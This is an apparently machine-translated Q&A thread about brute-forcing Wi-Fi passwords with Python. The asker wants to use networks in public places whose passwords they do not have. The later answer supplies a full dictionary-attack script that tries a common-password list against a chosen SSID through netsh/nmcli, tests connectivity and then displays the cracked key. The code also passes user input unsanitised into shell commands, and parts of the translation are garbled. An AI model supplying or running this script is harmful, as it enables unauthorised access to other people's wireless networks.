如何使用 python 暴力破解 wifi 密码?

How to Brute Force a wifi Password with python?

当我在 public 时,我想访问互联网,所以我已经写了一段时间的脚本来查找 wifi 密码。我发现了一种我不喜欢的“字典攻击”的方式。 我在互联网上找到了一个使用 python:

连接到 wifi 的脚本
import os
import platform
import getpass

y = "y"
Y = "Y"
n = "n"
N = "N"
def createNewConnection(name, SSID, key):
    config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>"""+name+"""</name>
    <SSIDConfig>
        <SSID>
            <name>"""+SSID+"""</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>"""+key+"""</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>"""
    if platform.system() == "Windows":
        command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
        with open(name+".xml", 'w') as file:
            file.write(config)
    elif platform.system() == "Linux":
        command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
    os.system(command)
    if platform.system() == "Windows":
        os.remove(name+".xml")

def connect(name, SSID):
    if platform.system() == "Windows":
        command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
    elif platform.system() == "Linux":
        command = "nmcli con up "+SSID
    os.system(command)

def displayAvailableNetworks():
    if platform.system() == "Windows":
        command = "netsh wlan show networks interface=Wi-Fi"
    elif platform.system() == "Linux":
        command = "nmcli dev wifi list"
    os.system(command)

try:
    displayAvailableNetworks()
    option = input("New connection (y/N)? ")
    if option == n or option == N:
        name = input("Name: ")
        connect(name, name)
        print("If you aren't connected to this network, try connecting with correct credentials")
    elif option == y or option == Y:
        name = input("Name: ")
        key = getpass.getpass("Password: ")
        createNewConnection(name, name, key)
        connect(name, name)
        print("If you aren't connected to this network, try connecting with correct credentials")
except KeyboardInterrupt as e:
    print("\nExiting...")

您必须在此脚本中自行输入密码。
在这一行

key = getpass.getpass ("Password:")

我应该将“密码:”切换为脚本会尝试搜索的变量,直到搜索成功...
我找到了一个脚本来查找密码并完成了它。唯一的问题是在这个脚本中程序知道密码的值。每次尝试,他都可以检查它是否匹配正确的密码。

import itertools
import string

def guess_password(real):
    chars = string.ascii_lowercase + string.digits
    attempts = 0
    for password_length in range(8, 9):
        for guess in itertools.product(chars, repeat=password_length):
            attempts += 1
            guess = ''.join(guess)
            if guess == real:
                return 'password is {}. found in {} guesses.'.format(guess, attempts)
            print(guess, attempts)

print(guess_password('abc'))

我应该连接这两个脚本,但我不知道如何连接。我不清楚如何找到未知变量的值-(密码)。
如果有人能向我解释上述问题,我将非常高兴。我对这些东西很陌生,它们对我来说不是最清楚的。谢谢回复

我们的想法并不总是正确的。市场上已有的攻击工具使用完全不同的方法来攻击并获得 access.They 使用握手将通行证与实际密码相匹配,这就是它们验证密码是否正确的方式。 您使用的是一种非常幼稚的方式,这很难 work.Look 考虑到该程序的复杂性,并且假设您尝试了 1000000 个不同的密钥。该代码将 运行 永远。

研究更多了解握手解密。

我知道我迟到了,但我发现了另一种可能使用您的代码的方法。

它尝试使用我从 gihub https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt

获得的 .txt 文件中的常用密码

这是代码。

import os
import platform
import time
import requests


url = "http://www.python.org"
timeout = 5
def createNewConnection(name, SSID, key):
    config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>"""+name+"""</name>
    <SSIDConfig>
        <SSID>
            <name>"""+SSID+"""</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>"""+key+"""</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>"""
    if platform.system() == "Windows":
        command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
        with open(name+".xml", 'w') as file:
            file.write(config)
    elif platform.system() == "Linux":
        command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
    os.system(command)
    if platform.system() == "Windows":
        os.remove(name+".xml")

def connect(name, SSID):
    os.system("netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi")

def displayAvailableNetworks():
       os.system("netsh wlan show networks interface=Wi-Fi")

print("[LOADING] Searching if connected to any network")

try:
    request = requests.get(url, timeout=timeout)
    print("[-] Please disconnect your internet for this operation to work, try again later"), exit()
    
except (requests.ConnectionError, requests.Timeout) as exception:
    print("[LOADING] Loading program..."), time.sleep(1)

connected = True
while connected:
    try:
        displayAvailableNetworks()
        WIFI = input("WIFI Name: ")
        with open("Brute Force\passwords.txt", "r") as f:
            for line in f:
                words = line.split()
                if words:
                    print(f"Password: {words[0]}")
                    
                    createNewConnection(WIFI, WIFI, words[0])
                    connect(WIFI, WIFI)

                    try:
                        request = requests.get(url, timeout=timeout)
                        connected = False
                        choice = input(f"[+] The password might have been cracked, are you connected to {WIFI} (y/N) ? ")
                        if choice == "y":
                            print("\n[EXITING] Operation canceled")
                            exit()
                        elif choice == "n":
                            print("\n[-] Operation continues\n")
                        
                    except (requests.ConnectionError, requests.Timeout) as exception:
                        print("[LOADING] Loading program..."), time.sleep(1)

        print("[+] Operation complete")
        choice = input("See WIFI Information (y/N) ? ")
        if choice == "y" or "Y":
            print(f"[LOADING] Searching for {WIFI} network")
            time.sleep(1)
            os.system(f'netsh wlan show profile name="{WIFI}" key=clear')
            exit()
        elif choice == "n" or "N":
            print("\n[EXITING] Exiting program...")
            time.sleep(2)
            exit()

    except KeyboardInterrupt as e:
        print("\n[[EXITING] Aborting program...")
        exit()